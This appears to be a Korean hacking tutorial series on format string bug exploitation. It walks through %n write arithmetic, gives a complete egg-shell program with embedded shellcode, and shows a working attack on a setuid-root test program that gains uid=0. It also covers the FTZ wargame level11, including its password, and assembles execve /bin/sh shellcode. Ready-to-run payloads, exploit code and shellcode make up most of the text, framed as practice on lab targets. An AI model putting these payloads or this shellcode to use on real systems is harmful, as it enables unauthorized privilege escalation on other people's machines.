값계산1) 65281(ff01)
값계산2) 49406(= 114687(1bfff) - 65281(ff01))
예제5를 설명하면, 먼져 65281(16진수=ff01)개를 출력하여 그갯수를 %n를 통해 i값에 넣게된다.
다음에 49406개를 출력하여 i주소의 2증가한 곳에 넣게되는데 이때 먼져 출력된 갯수(65281)+후에갯수(49406) = 114687(16진수=1bfff)를 넣게 되는것이다..결론적으로 i의 값에는 bfffff01이 들어 가게된다. 이와 같이 메모리주소를 넣기 위해서는 상당히 큰 수가 적용되므로 나누어서 집어넣는 방법을 사용해야 한다.
즉,
최초 i의 주소번지
bffffb84 : 14 00 00 00
bffffb85 : 00 00 00 xx
bffffb86 : 00 00 xx xx
bffffb87 : 00 xx xx xx
%n으로 인해 변경되는 값
bffffb84 : 01 ff ff bf => bfffff01
bffffb85 : ff ff bf 01
bffffb86 : ff bf 01 xx
bffffb87 : bf 01 xx xx
로 변경되게된다.
이번 강좌에서는 FSB(Format String Bug)의 기본적인 공격방법의 핵심을 알아보았다.
다음번에는 실전 문제를 가지고서 FSB를 알아보도록 하자.
저번시간에는 FSB의 기본적인 사항과 전재조건등을 알아보았다.
오늘은 실전에 적용하여 취약프로그램의 소스를 검토하여 FSB를 적용하여보도록 하자.
※ 실전 FSB !!!
취약 프로그램의 어택방법의 이해를 돕기위해서 BOF에서부터 유용하게 써먹은 dumpcode.h 를 구하도록 하자. dumpcode.h는 ohhara님 께서 만드신 헤더이다..구하는 장소는 PLUS 홈페이지를 참조하자. (PLUS : 포항공대 유닉스 보안 동아리)
dumpcode.h 파일에 대한 참고 사이트 : http://sp0ngee.tistory.com/30
dumpcode.h 파일의 내용(/usr/include/dumpcode.h)
void printchar(unsigned char c) { if(isprint(c)) printf("%c",c); else printf("."); }
void dumpcode(unsigned char *buff, int len) { int i; for(i=0; i<len; i++) { if(i%16==0) printf("0x%08x ",&buff[i]); printf("%02x ",buff[i]); if(i%16-15==0) { int j; printf(" "); for(j=i-15;j<=i;j++) printchar(buff[j]); printf("\n"); } }
if(i%16!=0) { int j; int spaces=(len-i+16-i%16)*3+2;
for(j=0;j<spaces;j++) printf(" "); for(j=i-i%16;j<len;j++) printchar(buff[j]); } printf("\n"); } |
다음은 mainsource newbie15번 문제를 변형한것이다.
우리는 임의의주소(0xbffffa6b)에 우리가 원하는 값(임의로 0xbffffb30 )를 넣는 방법을 알아보도록 하겠다.
(예제6) test6.c
#include <stdio.h> #include "dumpcode.h"
main() { char put[50]; fgets(put,49,stdin); printf(put); dumpcode((char*)0xbffffa6b,4); } |
$./test6
leon <----- 입력한다. leon 0xbffffa6b bf fc ab bf |
해당주소에 bf fc ab bf (0xbfabfcbf) 값이 들어있는것을 볼수가 있다.
이값을 30 fb ff bf (0xbffffb30)으로 변경해보도록 하자.
1. 입력한 값의 위치 찾기
우선 우리가 입력한 것의 위치를 찾아야 한다.
그래야 그것을 통하여 해당주소에 덮어쓸수가 있기 때문이다.
$./test6
AAAA%x%x%x%x <----- 입력한다. AAAA4f4013994040016ab041414141 0xbffffa6b bf fc ab bf .... |
다행이 4번째에 우리가 넣은 AAAA값(16진수 41414141)이 나왔다.(- 이경우 실제로는 첫번째 %x에서 AAAA값이 나오게됩니다, 또한 gcc2.95이상의 컴파일버젼에서는 상당히 뒤쪽에 나오기도합니다. 여기서는 설명을 위해서 4번째에 나오는걸로 가정하겠습니다. -)
2. 메모리값 넣기..
다음은 해당 자리에 메모리값을 넣는과정을 살펴보도록하자.
메모리값으로 입력해야 함으로 perl 이나 printf의 함수를 사용하여 해당프로그램에 입력하여야 한다.
$(printf "\x41\x41\x41\x41%%x%%x%%x%%x";cat)|./test6
<ENTER> AAAA4f4013994040016ab041414141 0xbffffa6b bf fc ab bf .... <ENTER> |
위의 실행결과는 "AAAA"를 메모리화 시켜서 입력한것이다. %%x는 파이프연결로 인해 %x와 동일한 효과를 준다.
그럼 이번에는 진짜 메모리값을 넣어보도록 하자.
$(printf "\x6b\xfa\xff\xbf%%x%%x%%x%%x";cat)|./test6
<ENTER> k??f4013994040016ab0bffffa6b 0xbffffa6b bf fc ab bf .... <ENTER> |
즉 메모리값으로 원하는 위치에 정확히 들어가는것을 확인하였다...
3. %c사용으로 주소자리 맟추기
이번에는 입력하는 변수의 값과 메모리값을 동시에 입력하여 원하는 위치에 원하는 값이 나오도록 해보자.
$(printf "\x41\x41\x41\x41\x6b\xfa\xff\xbf\x41\x41\x41\x41\x6d\xfa\xff\xbf%%8x%%8x%%8x%%c%%x%%c%%x";cat)|./test6
<ENTER> AAAAk?풞AAAm?? 4f4013994040016ab0Abffffa6bAbffffa6d 0xbffffa6b bf fc ab bf .... <ENTER> |
%c에 의하여 앞의 AAAA값이 대입대고 그후 메모리값이 %x에 의해 출력되는것을 볼수 있다.
그럼 다됬당...이번에는 %x대신 %n 값을 넣고 실행해보자..
4. %n을 통한 해당주소에 값넣기
$ (printf "\x41\x41\x41\x41\x6b\xfa\xff\xbf\x41\x41\x41\x41\x6d\xfa\xff\xbf%%8x%%8x%%8x%%c%%n%%c%%n";cat)| ./test6
<ENTER> AAAAk?풞AAAm?? 4f4013994040016ab0AA 0xbffffa6b 29 00 2a 00 ).*. <ENTER> |
자!! %n을 넣고 실행해본결과 타겟주소의 값이 변경된것을 볼수 있다..
0xbffffa6b 29 00 2a 00 ).*.
즉, %n앞의 써진 문자의 갯수(4+4+4+4+8+8+8+1 = 41 = hex : 29)가 해당주소에 덮어써진것이다.
※여기서 \x41\x41\x41\x41 / \x6b\xfa\xff\xbf / \x41\x41\x41\x41 / \x6d\xfa\xff\xbf / %%8x / %%8x / %%8x / %%c / 순서대로 4+4+4+4+8+8+8+1 이다..%%x앞에 8을 넣은 이유는 %x의 값에 의해 출력되는 문자가 최대 8자이며 그보다 적은 수가 나올수도 있으므로 아예 8자로 맞춘것이다.
첫번째 %n이후 두번째 %n은 "%n%c"에 의해 2문자가 증가 함으로 29 + 2 = 2a 가 된다.
이제 모든것이 끝났당...앞장에서 공부 했듯이 %c에 적당한 숫자를 넣어서 우리가 원하는 값을 넣어보도록 하자.
우리가 넣고자 하는 값은 30 fb ff bf (0xbffffb30) 이므로 첫번째 숫자를 계산한 값은
fb30(64304) - 0029(41) = 64263 에 +1 을 한 값이다.
※ +1 을 한 이유는 %c 에 의해 1이 증가 했기 때문이다.
$ (printf "\x41\x41\x41\x41\x6b\xfa\xff\xbf\x41\x41\x41\x41\x6d\xfa\xff\xbf%%8x%%8x%%8x%%64264c%%n%%c%%n";cat)|./test6
<ENTER> ~ ~ 중략 ~ ~AA 0xbffffa6b 30 fb 31 fb 0.1. <ENTER> |
첫번째 값이 나왔다..원하는 30 fb
두번째 값도 같은 방법으로 계산하면
$ (printf "\x41\x41\x41\x41\x6b\xfa\xff\xbf\x41\x41\x41\x41\x6d\xfa\xff\xbf%%8x%%8x%%8x%%64264c%%n%%50383c%%n";cat)|./t6
<ENTER> ~ ~A 중략 ~ ~A 0xbffffa6b 30 fb ff bf 0... <ENTER> |
드뎌 정확히 우리가 원하는 값을 원하는 메모리 번지에 집어 넣게 되었다..
※ 장황하게 설명 되었으나, FSB의 핵심과 그 공격 방법을 알아보았다. 이 글을 읽는 분들 중에는 취약프로그램이 suid bit로 되어있다면 그담은 어떻게 FSB를 사용해야서 권한을 획득해야 하는지 눈치를 쳇을 것이당^^.
담 시간에는 실제 suid bit의 프로그램을 이용하여 권한을 획득하는 과정을 공부 해보도록 하자.
앞서 시간에는 우리가 원하는 메모리의 위치에 원하는 값을 넣는 과정을 공부 해보았다..
오늘은 실전 문제를 가지고 과연 suid bit로 된 취약프로그램에서 권한을 획득할수 있는지를 공부해보도록 하자...
이번 시간에도 마챦가지로 dumpcode.h를 준비하고...문제는 저번시간과 동일한 소스를 가지고 풀어보도록 하겟다 (mainsource newbie15 문제)...
//test7.c
#include <stdio.h>
main()
{ char bleh[80];
setreuid(0,0);
fgets(bleh,79,stdin);
printf(bleh);
}
여러분들도 자신의 리눅스 박스에서 다음과 같이 만들어서 실험 해보도록 하자.
$id
uid=500(leon) gid=500(leon) groups=500(leon)
$ls -l test7
-rwsr-x--x 1 root leon 13768 2월 23 16:47 test7
우선 저번시간에 글을 읽으신분들은 취약프로그램을 어떻게 공략 할것인가를 감지 하셨을 것이다.
즉..버퍼오버플러에서도 자주 사용되는 egg shell을 이용하는 것이다. 참고로 egg shell의 소스를 보면 대략적으로 다음과 같다...여러분들께서도 직접 만들어보시길..(linux 쉘코드 삽입임.)
//egg.c
#include <stdlib.h>
#define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90
char shellcode[] = "\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89" "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" "\x00\xc9\xc3\x90/bin/sh";
unsigned long get_esp(void) { __asm__("movl %esp,%eax"); }
void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); }
if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); }
addr = get_esp() - offset; printf("Using address: 0x%x\n", addr);
ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash"); } |
egg에 대한 강의는 추후에 한번 할것이고..일단..
우리의 공격전략은 다음과 같다.
1. egg shell 을 띄어서 특정위치에 쉘코드를 활성화 시킨다.
2. 취약프로그램의 취약성을 확인한다.
3. 취약프로그램의 리턴 어드래스를 찾고 찾은 어드레스에 사용되는 egg쉘위치를 입력한다.
4. 성공이다..
전략에 맞추어서..
우선 egg_shell을 띄운다.
$./egg
Using address: 0xbffffa28
egg를 띄우면 egg에서 사용되는 쉘코드의 위치를 보여준다.(정확한 쉘코드의 위치는 아니구 앞에 NOP가 들어있는 egg 쉘의 시작위치이다)
즉, 우리는 취약 프로그램의 리턴 어드레스의 값을 위에서 보여주는 0xbffffa28(28 fa ff bf) 로 변경하여야 한다.
다음은 취약 프로그램의 취약성을 알아보도록 하자.
$./test7
AAAA%x%x%x%x
AAAA4f4013994040016ab041414141
취약프로그램이 입력한 값의 %x 4번째에 값이 나오는것을 확인하였다.
이제 남은것은 리턴어드레스이다. 리턴어드레스를 구하는 방법은 그리 간다치만은 않다.
이글을 읽는 분들중 BOF를 공부하신분들이라면 리턴 어드레스와 무진장 많이 싸우시고 공부하셨으리라 생각된다. 리턴어드레스를 구하는 방법은 GDB를 이용하거나 기타 다른 방법들을 이용하여 구할수 있는데..직접알아서들 연구해보시길 바라며..좀더 간단하고 쉽게 리턴어드레스를 구할수 있는 방법을 아신다면 해커정신에 입각해서 게시판에 올려주시길..^^
일단 어찌어찌하여 리턴어드레스를 구했다고 가정하자...(전 gdb를 이용해서 구했습니다.)
그럼 공격을 위한 모든 준비는 끝났다.
정리해보면..
취약프로그램에서 입력된 값의 위치는 : 4번째 %x
리턴어드레스는 : 0xbffff07c
변경하고자하는 값 : 0xbffffa28
위의 정보를 토대로 다음과 같은 공격코드가 완성된다.
$(printf "\x41\x41\x41\x41\x7c\xf0\xff\xbf\x41\x41\x41\x41\x7e\xf0\xff\xbf%%8x%%8x%%8x%%c%%x%%c%%x";cat)|./test7
그럼 공격과정이 맞는지를 확인하기 위해서 해당 소스를 약간 변경하여 임의의 취약프로그램을 만들어서 실행하여보자.(단,컴팔은 egg를 띄우지 않은 상태에서 해야한다.-취약프로그램과 동일한 조건 유지-)
//test7_t.c
#include "dumpcod.h" #include <stdio.h>
main() { char bleh[80]; setreuid(0,0); fgets(bleh,79,stdin); printf(bleh); dumpcode((char*)bleh+84,4); } |
$./egg
Using address: 0xbffffa28
$(printf "\x41\x41\x41\x41\x7c\xf0\xff\xbf\x41\x41\x41\x41\x7e\xf0\xff\xbf%%8x%%8x%%8x%%c%%x%%c%%x";cat)|./test7_t
AAAAl?풞AAAn?? 4f4013994040016ab0Abffff06cAbffff06e
0xbffff07c fc ab 03 40 ...@
입력한 리턴어드레스가 정확히 나온것을 확인할수 있다..
담은 %x 를 %n으로 바꾸면...
$ (printf "\x41\x41\x41\x41\x7c\xf0\xff\xbf\x41\x41\x41\x41\x7e\xf0\xff\xbf%%8x%%8x%%8x%%c%%n%%c%%n";cat)|./test7_t
AAAA|?풞AAA~?? 4f4013994040016ab0AA
0xbffff07c 29 00 2a 00 ).*.
역시 리턴 값이 변경된것을 볼수 있다..남은 것은 계산기로 해당 주소값을 찾는 일뿐...(앞장에서 충분이 설명드렸죠..^^)
(printf "\x41\x41\x41\x41\x7c\xf0\xff\xbf\x41\x41\x41\x41\x7e\xf0\xff\xbf%%8x%%8x%%8x%%64000c%%n%%50647c%%n";cat)|./test7_t
~
~
A
~
~
A
0xbffff07c 28 fa ff bf (...
id
uid=500(leon) gid=500(leon) groups=500(leon)
원하는 위치에 원하는 값이 들어갔고, 쉘도 실행되었다.
이제 취약프로그램에 적용해보자..
(printf "\x41\x41\x41\x41\x7c\xf0\xff\xbf\x41\x41\x41\x41\x7e\xf0\xff\xbf%%8x%%8x%%8x%%64000c%%n%%50647c%%n";cat)|./test7
~
~
A
~
~
A
id
uid=0(root) gid=500(leon) groups=500(leon)
root의 권한을 획득하였다^^..
이상 FSB의 기본원리와 간단한 공격예제를 살펴 보았다.
물론 이것은 예제일뿐이다. 실제로 상용프로그램에 적용하기 위해서는 이보다는 좀더 복잡한 과정을 거쳐야한다. 그리구 우린 리턴어드레스를 변경시키는 방법으로 FSB에 접근 하였다. 리턴어드레스 뿐 아니라 취약프로그램상의 모든 어드레스의 값을 변경할수 있다는 것에 착안 한다면 좀더 간단하고 쉽고 강력한 방법들도 잇을것이다.
프로그래밍을 할때 이러한 작은 실수들을 배제하고 보안상의 문제점들을 간과 하지 않는것이 취약성에서 벗어날수 있는 길이라 생각된다. 그러나, 프로그램의 취약성은 앞으로도 계속하여 보고될것이다.
Level12 도전 해 보자.
level11 사용자로 로그인
-> ID/PASS: level11/what!@#$?
[level11@ftz level11]$ cd
[level11@ftz level11]$ ls -l
-rwsr-x--- 1 level12 level11 13733 3월 8 2003 attackme -rw-r----- 1 root level11 168 3월 8 2003 hint drwxr-xr-x 2 root level11 4096 2월 24 2002 public_html drwxrwxr-x 2 root level11 4096 8월 27 15:09 tmp |
[level11@ftz level11]$ cat hint
#include <stdio.h> #include <stdlib.h>
int main( int argc, char *argv[] ) { char str[256];
setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } |
위의 내용은 두가지 버그가 존재한다.(ㄱ) FSB(Format String Bug) (ㄴ) BOF(Buffer Overflow)
[level11@ftz level11]$ ./attackme
세그멘테이션 오류 /* Segmentation fault */ |
-> 잘못된 주소를 포인트하는 경우
[level11@ftz level11]$ ./attackme "AAAA %x %x %x %x"
AAAA bffffc37 bfffda80 1 41414141 |
-> 포맷 스트링 버그가 존재한다는 것을 확인할 수 있다.
[level11@ftz level11]$ ./attackme "AAAA %8x %8x %8x %8x"
AAAA bffffc33 bffff000 1 41414141 |
[참고] nm 명령어에 대해서
# man nm
NAME
nm - list symbols from object files
[level11@ftz level11]$ nm /home/level11/attackme | head
0804953c D _DYNAMIC 08049614 D _GLOBAL_OFFSET_TABLE_ 08048524 R _IO_stdin_used 08049608 d __CTOR_END__ /* 생성자(constructor) */ 08049604 d __CTOR_LIST__ 08049610 d __DTOR_END__ /* 소멸자(destructor) */ 0804960c d __DTOR_LIST__ 08049538 d __EH_FRAME_BEGIN__ 08049538 d __FRAME_END__ 0804963c A __bss_start |
-> main() 함수가 종료되는 시점에 소멸자가 호출된다. 소멸자 역할을 수행하는 함수를 쉘코드로 흐름을 바꿀 수 있다면 쉘이 떨어지게 된다.
-> 소멸자의 주소가 08049610, 0804960c 임을 알수 있다. 둘 중 실제로 값을 변조해서 실행 흐름을 바꿀수 있는 주소는 __DTOR_END__(08049610)이다. 따라서 0x08049610 주소에 쉘코드의 실행 주소를 써야 한다.
쉘코드(shellcode) 만드는 방법
(1) 경량 쉘코드 만들기
■ 사용시스템
- HackMe
함수의 return address를 임의의 주소로 조작할 경우 프로그램의 스택영역에서 특정코드를 실행시킬 수 있다. 이때, cracker의 관심을 끌어당기는 부분은 프로그램(application)이 user의 ID가 아닌 특정 ID,즉, Set-UID나 daemon으로 실행되고 있다는 사실일 것이다. 이런 종류의 실수가 document reader같은 프로그램에서 일어난다면 상당히 위험하다고 할 수 있다.
shell을 실행시키는 이런 작은 프로그램들을 일반적으로 쉘코드(shellcode)라고 부른다.
■ 쉘코드(Shellcode) 만드는 작업 순서
(ㄱ) 배시쉘을 실행하는 C 코드의 구조 이해
(ㄴ) 함수의 사용법 확인
(ㄷ) 함수의 사용법에 따라 어셈블리어 코드 작성
(ㄹ) 오브젝트 목적 코드 생성
(ㅁ) 실행 파일 생성
(ㅂ) objdump 프로그램을 이용해 OP Code를 추출
(ㅅ) 16진수로 문자열을 변경해 쉘코드 생성
■ 셀코드를 만들때의 레지스터의 용도(EX: 범용레지스터)
----------------------------------------
EAX 시스템 콜(system call) 함수 번호
EBX 첫번째 함수 인자
ECX 두번째 함수 인자
EDX 세번째 함수 인자
----------------------------------------
■ 함수의 사용법
쉘코드(Shellcode) 만드는 작업 순서
(ㄱ) 배시쉘을 실행하는 C 코드의 구조 이해
(ㄴ) 함수의 사용법 확인
(ㄷ) 함수의 사용법에 따라 어셈블리어 코드 작성
(ㄹ) 오브젝트 목적 코드 생성
(ㅁ) 실행 파일 생성
(ㅂ) objdump 프로그램을 이용해 OP Code를 추출
(ㅅ) 16진수로 문자열을 변경해 쉘코드 생성
[level11@ftz level11]$ cd tmp
[level11@ftz tmp]$ export LANG=C
[level11@ftz tmp]$ man execve
NAME execve - execute program
SYNOPSIS #include <unistd.h>
int execve(const char *filename, char *const argv [], char *const envp[]); ..... (중략) ..... |
■ 배시쉘을 실행하는 예제 코드 생성
[level11@ftz tmp]$ vi myshell.c
#include <stdio.h>
int main() { char *bash[] = {"/bin/sh", 0}; execve(bash[0], &bash, 0); } |
[level11@ftz tmp]$ gcc -o myshell myshell.c
[level11@ftz tmp]$ ./myshell
sh-2.05b$ ps
PID TTY TIME CMD 3430 pts/0 00:00:00 bash 3691 pts/0 00:00:00 sh 3692 pts/0 00:00:00 ps |
-> myshell 프로그램이 정상 동작한다는 것을 확인할 수 있다.
sh-2.05b$ exit
[level11@ftz tmp]$
■ /usr/include/asm/unistd.h 파일에서 사용할 함수의 시스템 콜(System Call) 번호 확인
쉘코드(Shellcode) 만드는 작업 순서
(ㄱ) 배시쉘을 실행하는 C 코드의 구조 이해
(ㄴ) 함수의 사용법 확인
(ㄷ) 함수의 사용법에 따라 어셈블리어 코드 작성
(ㄹ) 오브젝트 목적 코드 생성
(ㅁ) 실행 파일 생성
(ㅂ) objdump 프로그램을 이용해 OP Code를 추출
(ㅅ) 16진수로 문자열을 변경해 쉘코드 생성
[level11@ftz tmp]$ cat /usr/include/asm/unistd.h | more
#ifndef _ASM_I386_UNISTD_H_ #define _ASM_I386_UNISTD_H_
/* * This file contains the system call numbers. */
#define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_open 5 #define __NR_close 6 #define __NR_waitpid 7 #define __NR_creat 8 #define __NR_link 9 #define __NR_unlink 10 #define __NR_execve 11 #define __NR_chdir 12 #define __NR_time 13 #define __NR_mknod 14 #define __NR_chmod 15 ..... (중략) ...... |
■ 배쉬쉘을 실행하는 어셈블리 코드 생성
쉘코드(Shellcode) 만드는 작업 순서
(ㄱ) 배시쉘을 실행하는 C 코드의 구조 이해
(ㄴ) 함수의 사용법 확인
(ㄷ) 함수의 사용법에 따라 어셈블리어 코드 작성
(ㄹ) 오브젝트 목적 코드 생성
(ㅁ) 실행 파일 생성
(ㅂ) objdump 프로그램을 이용해 OP Code를 추출
(ㅅ) 16진수로 문자열을 변경해 쉘코드 생성
[level11@ftz tmp]$ vi myshell.s
.global _start
_start:
xor %eax, %eax # EAX 레지스터를 0으로 초기화 xor %edx, %edx # EDX 레지스터를 0으로 초기화
# 첫번째 인자인 "/bin//sh" 문자열을 조합 push %eax # NULL(=0)으로 문자열 끝을 표시 push $0x68732f2f # "//sh" 문자열을 스택에 push push $0x6e69622f # "/bin" 문자열을 스택에 push mov %esp, %ebx # "/bin//sh" 문자열의 주소를 저장
# 두번째 인자인 "/bin//sh" 문자열을 조합 push %edx # NULL(=0)으로 문자열 끈을 표시 push %ebx # "/bin//sh" 문자열의 주소를 push mov %esp, %ecx # "/bin//sh" 문자열의 주소를 ECX에 저장
# execve 함수 호출 movb $0x0B, %al # 0x0B(=11) execve() 함수의 호출 번호 int $0x80 # 인터럽트 호출 |
위에 작성된 어셈블리에 대해 자세하게 알아보자.
.global _start
_start: |
C 언어의 main() 부분정도로 생각한다.
.global _start
_start:
xor %eax, %eax # EAX 레지스터를 0으로 초기화 xor %edx, %edx # EDX 레지스터를 0으로 초기화 |
C 언어의 int cnt = 0; 부분정도로 생각한다.
XOR 연산 1 0 1 0 XOR 1 1 0 0------------------------------ 0 1 1 0------------------------------
XOR 연산은 2개의 operand 값이 같으면 0 이고, 다르면 1이다. 따라서 "XOR %EAX, %EAX"는 EAX 레지스터를 0으로 초기화 하는 작업이다.
/bin/sh & /bin//sh 비교
어셈블리어에서 문자열을 처리하는 단위는 4바이트이다.
하지만 "/bin/sh"는 7바이트 문자열이다.
8바이트의 문자열어서 다루는 것이 편리하기 때문에 "/" 문자를 하나 더 입력하고 8바이트 길이의 문자열로 인위적으로 만든것이다.
동작은 /bin/sh 와 /bin//sh는 동일하게 동작한다. 다루기 쉬운 문자열로 변경만 한것이다.
/bin/sh(7바이트) == /bin//sh(8바이트)
(linux200)
# ps
PID TTY TIME CMD
14186 pts/1 00:00:00 bash
# /bin/sh
# ps
PID TTY TIME CMD
14186 pts/1 00:00:00 bash
14219 pts/1 00:00:00 sh
# exit
# /bin//sh
# ps
PID TTY TIME CMD
14186 pts/1 00:00:00 bash
14223 pts/1 00:00:00 sh
# exit
-> 동일하게 동작하는 것을 확인 할 수 있다.
.globl _start
_start:
xor %eax, %eax # EAX 레지스터를 0으로 초기화 xor %edx, %edx # EDX 레지스터를 0으로 초기화
# 첫번째 인자인 "/bin//sh" 문자열을 조합 push %eax # NULL(=0)으로 문자열 끝을 표시 push $0x68732f2f # "//sh" 문자열을 스택에 push push $0x6e69622f # "/bin" 문자열을 스택에 push mov %esp, %ebx # "/bin//sh" 문자열의 주소를 저장 |
C 언어에서 배열이나 포인터를 이용한 문자열 할당 정도로 생각한다.
어셈블리에서는 NULL 까지 표시해야 한다.
-----------------------------------------------
레지스터 저장값 의미
-----------------------------------------------
EAX 0 NULL
EBX 0xbfff0808 &(/bin//sh)
ECX
EDX 0 NULL
-----------------------------------------------
(스택 구조)
| | 낮은 주소
| |
| |
| /bin | <--- SP(0xbfff0808)
| //sh |
| NULL |
| .... |
| .... |
+-----------------+ 높은 주소
---------------------------------- [참고] -----------------------------
[참고] push $0x68732f2f == //sh
push $0x6e69622f == /bin
-----------------------------------------
어셈블리 명령 OP Code
-----------------------------------------
push $0x68732f2f 68 2f 2f 73 68
push $0x6e69622f 68 2f 62 69 6e
-----------------------------------------
-> 어셈블리 명령은 OP Code 만들면 위와 같다.
"68 2f 2f 73 68" 의미?
68 => push
2f 2f 73 68 => 2f(/) 2f(/) 73(s) 68(h)
"68 2f 62 69 6e" 의미?
68 => push
2f 62 69 6e => 2f(/) 62(b) 69(i) 6e(n)
---------------------------------- [참고] -----------------------------
.globl _start
_start:
xor %eax, %eax # EAX 레지스터를 0으로 초기화 xor %edx, %edx # EDX 레지스터를 0으로 초기화
# 첫번째 인자인 "/bin//sh" 문자열을 조합 push %eax # NULL(=0)으로 문자열 끝을 표시 push $0x68732f2f # "//sh" 문자열을 스택에 push push $0x6e69622f # "/bin" 문자열을 스택에 push mov %esp, %ebx # "/bin//sh" 문자열의 주소를 저장
# 두번째 인자인 "/bin//sh" 문자열을 조합 push %edx # NULL(=0)으로 문자열 끈을 표시 push %ebx # "/bin//sh" 문자열의 주소를 push mov %esp, %ecx # "/bin//sh" 문자열의 주소를 ECX에 저장 |
-----------------------------------------------
레지스터 저장값 의미
-----------------------------------------------
EAX 0 NULL
EBX 0xbfff0808 &(/bin//sh)
ECX 0xbfff0810 &(/bin//sh)
EDX 0 NULL
-----------------------------------------------
(스택 구조)
| | 낮은 주소
| |
| |
| 0xbfff0808 | <--- SP(0xbfff0810)
| NULL |
| /bin | <--- 0xbfff0808
| //sh |
| NULL |
| .... |
| .... |
+-----------------+ 높은 주소
.globl _start
_start:
xor %eax, %eax # EAX 레지스터를 0으로 초기화 xor %edx, %edx # EDX 레지스터를 0으로 초기화
# 첫번째 인자인 "/bin//sh" 문자열을 조합 push %eax # NULL(=0)으로 문자열 끝을 표시 push $0x68732f2f # "//sh" 문자열을 스택에 push push $0x6e69622f # "/bin" 문자열을 스택에 push mov %esp, %ebx # "/bin//sh" 문자열의 주소를 저장
# 두번째 인자인 "/bin//sh" 문자열을 조합 push %edx # NULL(=0)으로 문자열 끈을 표시 push %ebx # "/bin//sh" 문자열의 주소를 push mov %esp, %ecx # "/bin//sh" 문자열의 주소를 ECX에 저장
# execve 함수 호출 movb $0x0B, %al # 0x0B(=11) execve() 함수의 호출 번호 int $0x80 # 인터럽트 호출 |
-----------------------------------------------
레지스터 저장값 의미
-----------------------------------------------
EAX 0xB 정수11
EBX 0xbfff0808 &(/bin//sh)
ECX 0xbfff0810 &(/bin//sh)
EDX 0 NULL
-----------------------------------------------
(스택 구조)
| | 낮은 주소
| |
| |
| 0xbfff0808 | <--- SP(0xbfff0810)
| NULL |
| /bin | <--- 0xbfff0808
| //sh |
| NULL |
| .... |
| .... |
+-----------------+ 높은 주소
■ 어셈블리어 코드를 컴파일
쉘코드(Shellcode) 만드는 작업 순서
(ㄱ) 배시쉘을 실행하는 C 코드의 구조 이해
(ㄴ) 함수의 사용법 확인
(ㄷ) 함수의 사용법에 따라 어셈블리어 코드 작성
(ㄹ) 오브젝트 목적 코드 생성
(ㅁ) 실행 파일 생성
(ㅂ) objdump 프로그램을 이용해 OP Code를 추출
(ㅅ) 16진수로 문자열을 변경해 쉘코드 생성
# man as
NAME
AS - the portable GNU assembler.
# man ld
NAME
ld - Using LD, the GNU linker
[level11@ftz tmp]$ as myshell.s -o myshell.o
[level11@ftz tmp]$ ld myshell.o -o myshell
[level11@ftz tmp]$ ./myshell
sh-2.05b$ ps
PID TTY TIME CMD 3463 pts/0 00:00:00 bash 13784 pts/0 00:00:00 sh |
sh-2.05b$ exit
exit |
-> 정상적으로 동작하는 것을 확인 할 수 있다.
[level11@ftz tmp]$
■ OP Code 추출
쉘코드(Shellcode) 만드는 작업 순서
(ㄱ) 배시쉘을 실행하는 C 코드의 구조 이해
(ㄴ) 함수의 사용법 확인
(ㄷ) 함수의 사용법에 따라 어셈블리어 코드 작성
(ㄹ) 오브젝트 목적 코드 생성
(ㅁ) 실행 파일 생성
(ㅂ) objdump 프로그램을 이용해 OP Code를 추출
(ㅅ) 16진수로 문자열을 변경해 쉘코드 생성
[level11@ftz tmp]$ objdump -d ./myshell
./myshell: file format elf32-i386
Disassembly of section .text:
08048074 <_start>: 8048074: 31 c0 xor %eax,%eax 8048076: 31 d2 xor %edx,%edx 8048078: 50 push %eax 8048079: 68 2f 2f 73 68 push $0x68732f2f 804807e: 68 2f 62 69 6e push $0x6e69622f 8048083: 89 e3 mov %esp,%ebx 8048085: 52 push %edx 8048086: 53 push %ebx 8048087: 89 e1 mov %esp,%ecx 8048089: b0 0b mov $0xb,%al 804808b: cd 80 int $0x80 |
수작업으로 16진수로 변환하여야 한다.
아래와 같은 비슷한 형식으로 변경한다.
■ 16진수로 문자열을 변경해 쉘코드 생성
쉘코드(Shellcode) 만드는 작업 순서
(ㄱ) 배시쉘을 실행하는 C 코드의 구조 이해
(ㄴ) 함수의 사용법 확인
(ㄷ) 함수의 사용법에 따라 어셈블리어 코드 작성
(ㄹ) 오브젝트 목적 코드 생성
(ㅁ) 실행 파일 생성
(ㅂ) objdump 프로그램을 이용해 OP Code를 추출
(ㅅ) 16진수로 문자열을 변경해 쉘코드 생성
char shellcode[] =
"\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
■ 쉘코드 테스트
[level11@ftz tmp]$ vi myshellex.c
#include <stdio.h>
char shellcode[] = "\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89" "\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
int main() { printf("Size: %d bytes\n", strlen(shellcode)); (*(void (*)()) shellcode)(); } |
[level11@ftz tmp]$ gcc -o myshellex myshellex.c
[level11@ftz tmp]$ ./myshellex
